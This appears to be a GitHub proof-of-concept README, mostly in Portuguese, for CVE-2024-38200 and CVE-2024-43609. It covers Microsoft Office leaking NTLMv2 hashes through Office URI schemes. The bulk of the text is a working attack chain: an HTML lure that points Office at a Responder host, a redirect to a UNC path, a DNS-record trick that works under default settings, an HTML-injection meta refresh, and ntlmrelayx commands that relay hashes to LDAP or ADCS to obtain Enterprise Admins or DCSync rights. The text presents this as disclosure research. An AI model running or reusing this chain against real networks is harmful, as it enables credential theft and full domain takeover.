passtheticket/cve-2024-38200CVE-2024-38200 & CVE-2024-43609 - Microsoft Office NTLMv2 Disclosure Vulnerability
Capturing the NTLMv2 hash over HTTP method was not fixed. The NTLMv2 hash value can still be obtained over HTTP and relayed to LDAP or ADCS. MSRC afirmou que esta situação é "como apresentado, parece fazer parte do design atual."
Mesmo que esta vulnerabilidade seja corrigida, conforme declarado na secção Integrated Windows Authentication, o valor do hash ainda pode ser obtido e retransmitido com as configurações padrão.
Anteriormente, um método para capturar hashes NTLMv2 sobre SMB usando os Esquemas de URI do Office foi partilhado. A ideia principal era simples. Enviar o URL do ficheiro HTML abaixo para a vítima e capturar o hash NTLMv2 sobre SMB. LINK
<!DOCTYPE html>
<html>
<script>
location.href = 'ms-word:ofe|u|\\<responder ip>\leak\leak.docx';
</script>
</html>
Este é o ponto inspirador para mim. Se consultarmos a página Office URI Schemes, podemos ver a utilização do protocolo https:// dentro do esquema URI. Esta situação indica que http:// também pode potencialmente ser usado. Capturar o hash NTLMv2 sobre HTTP é mais vantajoso do que capturá-lo sobre SMB para realizar um ataque de NTLM Relaying contra um servidor Domain Controller Relaying Chart.
Quando usei o URI ms-word:ofe|u|http://test.local:8080/leak/leak.docx contra o Office 2016 MSO (16.0.4266.1001) 32-bit, apareceu uma caixa de aviso para proteger o utilizador de atividade maliciosa, mas não posso dizer o mesmo para o Microsoft 365 Office e Office 2019. Estas versões acedem a um ficheiro Office remoto sem aviso e podem ser exploradas para capturar o hash NTLMv2 sobre os protocolos SMB e HTTP.
Descobri que a correção para CVE-2024-38200 não foi aplicada corretamente. Após a publicação da correção, testei a vulnerabilidade contra o Office 2019 Volume Licensed: Version 1808 (Build 10413.20020) e o Microsoft 365 MSO 2408 Build 16.0.17928.20114 e determinei que a vulnerabilidade ainda pode ser explorada conforme mostrado abaixo CVE-2024-43609 .
Podemos redirecionar um pedido HTTP para um caminho UNC com redirecionamento 302 quando uma aplicação Office faz um pedido através dos esquemas URI do Office (ex., ms-word:ofe|u|http://172.20.10.8:8080/leak.docx) . O script uncredirect.py trata o pedido HTTP que é enviado com um esquema URI do MS Office e redireciona-o para um caminho UNC que inclui o endereço IP do Responder. Esta situação tornaria possível capturar o hash NTLMv2 sobre SMB e contornar a restrição de segurança para o URI ms-word:ofe|u|\\<responder ip>\leak\leak.docx.
uncredirect.py e o responder.office.html para o utilizador vítima.https://github.com/user-attachments/assets/2d2d19ad-6142-4b57-8958-16ba2cd62f04
Capturar o hash NTLMv2 sobre HTTP é mais vantajoso do que sobre SMB para retransmitir para LDAP. Quando um ficheiro é solicitado através de um URI do Office, o hash NTLMv2 pode ser obtido sobre HTTP sem redirecionar para um caminho UNC usando um redirecionamento 302. Este método de exploração não pode ser realizado pela Internet porque, a menos que haja uma configuração incorreta nas Propriedades de Internet, a autenticação NTLM não ocorrerá sobre HTTP para um host fora da rede corporativa.
No entanto, acredito que este seja um método eficaz para ataque de retransmissão e escalada de privilégios.
As configurações das "Propriedades de Internet" afetam o comportamento de autenticação NTLM das aplicações Office. Podemos ver isso com alguns exemplos. Suponhamos que estamos a usar o formato de URI ms-excel:ofe|u|http://192.168.1.7/leak.xlsx para capturar o hash NTLMv2.
Quando uma das GPOs listadas abaixo é aplicada a uma máquina vítima que está associada ao domínio, a aplicação Office realiza a autenticação automaticamente.
Automatic logon with current user name and password está definido para User Authentication na Internet ZoneLocal Intranet (ex., 192.168.*.* , 192.168.0-255.* , 192.168.1.7)Trusted sites (ex., 192.168.*.* , 192.168.0-255.* , 192.168.1.7) e Automatic logon with current user name and password está definido para User Authentication na zona Trusted Sites
No caso de uma das GPOs mencionadas acima ser aplicada, depois de o utilizador vítima clicar no URI, o ficheiro leak.docx será obtido pela aplicação Office a partir do servidor do atacante e o hash NTLMv2 será obtido porque a GPO aplicada faz com que a autenticação NTLM ocorra automaticamente.
Exemplo de Cenário para Abusar da GPO:
Depois de definir o URI do Office com o endereço IP (ex., ms-excel:ofe|u|http://192.168.1.7/leak.xlsx), podemos enviar o URL do office.html para um utilizador com privilégios de administrador de domínio e retransmitir o hash capturado para o servidor LDAP(S) usando o ntlmrelayx. O ntlmrelayx criará um novo utilizador e adicioná-lo-á ao grupo Enterprise Admins com apenas um clique no botão "Open".
Nota:
Os sites adicionados via GPO podem ser listados usando as seguintes chaves de registo.
Get-ItemProperty "hkcu:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
Get-ItemProperty "hklm:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
0: Internet | 1: Local Intranet | 2: Trusted Sites | 3: Restricted Sites
Se uma das GPOs mencionadas acima não for aplicada, a autenticação NTLM não ocorrerá automaticamente. No entanto, se adicionarmos um registo DNS A e usarmos este registo dentro do URI do Office, o Windows considerará o nome do host como parte da Zona de Intranet. Desta forma, a autenticação NTLMv2 ocorre automaticamente e um utilizador padrão pode escalar privilégios sem precisar de uma GPO mal configurada. Qualquer utilizador de domínio com privilégios padrão pode adicionar um registo DNS inexistente portanto, este ataque funciona com configurações padrão para um utilizador de domínio.
office.html pode ser servido a partir de qualquer servidor acessível ao utilizador vítima (ex., https://office.com/office.html). Defini a porta 8081 para o Apache porque o ntlmrelayx usará a porta 80 por defeito. Podemos usar --http-port com o ntlmrelayx como outra opção. Insira o registo adicionado no URI do Office dentro do ficheiro office.html.
Inicie o ntlmrelayx: python3 ntlmrelayx.py -t ldap://DC-IP-ADDRESS --escalate-user username
Envie o URL do ficheiro office.html para um utilizador com privilégios de administrador de domínio. Deve verificar se o registo DNS é resolvido com o comando ping antes de enviar o URL.
Quando o utilizador vítima navegar para o URL, clicar no botão 'Open' é suficiente para capturar o hash NTLMv2. (sem aviso!)
O hash NTLMv2 capturado sobre HTTP é retransmitido para o Domain Controller com o ntlmrelayx. Como resultado, um utilizador padrão pode obter permissões de DCSync e Enterprise Admins sob as configurações padrão com apenas dois cliques.
https://github.com/user-attachments/assets/6fdbcd57-16aa-4497-810e-18e0a251e890
https://github.com/user-attachments/assets/22b759f5-1ac2-45bd-8916-714c8a84b40f
Nota-1: Se um servidor associado ao domínio for comprometido e for possível executar o inveigh ou ntlmrelayx, adicionar um registo DNS não é necessário.
Ntlmrelayx: python3 ntlmrelayx.py -t ldaps://DC-IP-ADDRESS --http-port 8080
Office Uri: ms-excel:ofe|u|http://compromisedservername:8080/leak.xlsx
Nota-2: Como outra opção, o hash do utilizador vítima pode ser retransmitido para ADCS em vez de LDAP:
python3 ntlmrelayx.py -t http://adcs.unsafe.local/certsrv/certfnsh.asp -smb2support --template User --adcs --http-port 80
Esta prova de conceito foi realizada no Microsoft Office 2019 MSO Build 1808 (16.0.10411.20011) e no Microsoft 365 MSO (Version 2403 Build 16.0.17425.20176) .
Anyone that has used Windows in an intranet corporate environment may have noticed that accessing corporate resources in a network is frictionless and, in many cases, requires no explicit authentication prompting for credentials other than the initial Windows domain log-on. This is true for several services, like network-mapped drives, intranet websites, and more. Microsoft-based browsers Internet Explorer and Edge have a concept of trusted zones: Internet, Local Intranet, Trusted Sites, and Restricted Sites. Each zone has a different security level and associated restrictions. For example, for Intranet zone sites, Internet Explorer disables the XSS filter, runs ActiveX plug-ins, performs automatic logins, and overall has fewer security controls than for Internet sites. By default, when a web server has a resource protected by NTLM authentication, Internet Explorer and Edge will perform the authentication automatically if the website is either located within the corporate intranet or is whitelisted in the Trusted Sites, respecting the concept of trusted zones. Other browsers, like Mozilla Firefox and Google Chrome, also support automatic NTLM log-on. Chrome relies on the same settings as Internet Explorer; in the case of Firefox, this configuration is not enabled by default and has to be manually changed via about:config.
https://www.blazeinfosec.com/post/web-app-vulnerabilities-ntlm-hashes/
In order for a remote host to authenticate to you, for example as a result of following a UNC path, there are certain conditions that must be met. Predominantly, to minimise the likelihood of leaking hashes to external networks like the Internet, your system must fall within the “local intranet” zone. The easiest way to satisfy this requirement when you already have a foothold on the target’s internal network is to use your system’s NetBIOS name. That is, if you’re on workstation1.contoso.com, you should use workstation1 in your UNC path to force it in to the local intranet zone.
https://www.mdsec.co.uk/2021/02/farming-for-red-teams-harvesting-netntlm/
Como mencionado, as alterações nas Propriedades de Internet também afetam o comportamento de autenticação NTLM dos navegadores Edge e Chrome. Estes navegadores suportam autenticação NTLM automática e o Windows assume que uma conexão HTTP com nome NetBIOS dentro da zona de intranet e realiza a autenticação NTLM. Mais tarde percebi que, conforme indicado no PoC, se um registo DNS é criado e um URL com nome NetBIOS (ex., http://kali14/notexist.html ) é enviado a um utilizador, é possível capturar e retransmitir o hash NTLMv2 do utilizador se o URL for navegado nos navegadores Edge ou Chrome. Se retransmitirmos o hash NTLMv2 de um utilizador privilegiado para LDAP(s) com o ntlmrelayx, podemos escalar privilégios no domínio com configurações padrão.
Edge:
Chrome:
Em vez de enviar o link para o utilizador, a injeção de HTML pode ser usada para capturar o hash NTLMv2:
kali14<meta http-equiv="refresh" content="0; url=http://kali14/notexist.html">
Include all local (intranet) sites not listed in other zones nas definições dos sites da Intranet local para bloquear a autenticação NTLM automática sobre HTTP. A opção em questão está selecionada por defeito. 
Nota: Este exploit é fornecido exclusivamente para fins educacionais e de investigação. O autor não é responsável por qualquer uso indevido ou danos causados pela aplicação deste exploit. A utilização não autorizada deste código em ambientes onde não tem permissão explícita é ilegal e antiética.